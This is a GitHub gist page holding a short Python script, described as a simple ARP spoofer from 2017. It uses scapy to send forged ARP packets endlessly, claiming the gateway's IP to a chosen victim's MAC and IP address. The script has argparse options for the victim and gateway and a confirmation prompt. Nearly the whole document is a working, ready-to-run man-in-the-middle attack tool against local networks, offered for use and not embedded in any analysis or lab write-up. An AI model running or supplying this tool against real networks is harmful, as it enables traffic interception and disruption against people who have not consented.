Skip to content

Instantly share code, notes, and snippets.

@echel0nn
Created March 9, 2023 20:17
Show Gist options
  • Save echel0nn/7e7a8579c9749cb6e2894973e1beee21 to your computer and use it in GitHub Desktop.
Save echel0nn/7e7a8579c9749cb6e2894973e1beee21 to your computer and use it in GitHub Desktop.
simple arp spoofer from 2017
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
* ***
** ***
** **
** **
** ** ****
*** **** ** *** *** ** * *** * *** ****
* *** * *** * ** * *** * *** ** * **** **** **** *
* *** * **** *** *** * *** ** ** ** ** ****
** *** ** ** ** ** *** ** ** ** ** **
******** ** ** ** ******** ** ** ** ** **
******* ** ** ** ******* ** ** ** ** **
** ** ** ** ** ** ** ** ** **
**** * *** * ** ** **** * ** ****** ** **
******* ******* ** ** ******* *** * **** *** ***
***** ***** ** ** ***** *** *** ***
*
*
*
*
Author: @echel0n_1881
~~~~~~~~~~~~~~~~~~~~~~
ARP spoof tool.
libraries:
scapy : `pip install scapy`
time : builtin
usage: arp_spoofer.py [-h] [--victim VICTIM] [--gateway GATEWAY]
[--victimip VICTIMIP]
optional arguments:
-h, --help show this help message and exit
--victim VICTIM Chosen MAC address of victim.
--gateway GATEWAY Chosen IP of router/switch/modem
--victimip VICTIMIP Chosen IP address of the victim
"""
import argparse
from scapy.all import ARP, send
def spoof(victimMacAddress, gatewayIP, victimIP):
# ARP REQUEST'S OP CODE
OPCODE = 1
print(gatewayIP)
print(victimIP)
print(victimMacAddress)
packet = ARP(
op=OPCODE,
psrc=gatewayIP,
pdst=victimIP,
hwdst=victimMacAddress)
while 1:
send(packet)
# optional
# time.sleep(1)
def parser():
# our wise parser
parser = argparse.ArgumentParser()
# adding arguments
parser.add_argument(
"--victim",
help="Chosen MAC address of victim.",
type=str)
parser.add_argument(
"--gateway",
help="Chosen IP of router/switch/modem",
type=str)
parser.add_argument(
"--victimip",
help="Chosen IP address of the victim",
type=str)
args = parser.parse_args()
# post values to our process
return args.victim, args.gateway, args.victimip
if __name__ == "__main__":
# get values from arguments
victim, gateway, victimip = parser()
print("[+] Welcome to Echelon's Arp Spoofer")
print("[!] Chosen options are:")
print("\t Victim's Mac Address: ", victim)
print("\t Victim's IP: ", victimip)
print("\t Gateway's IP: ", gateway)
answer = input("Shall we continue? [Y/n] ")
print("")
answer = str(answer)
if answer == "Y" or answer == "y":
# start spoofing already
spoof(victim, gateway, victimip)
else:
print("[EXITING] Goodbye...")
exit(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment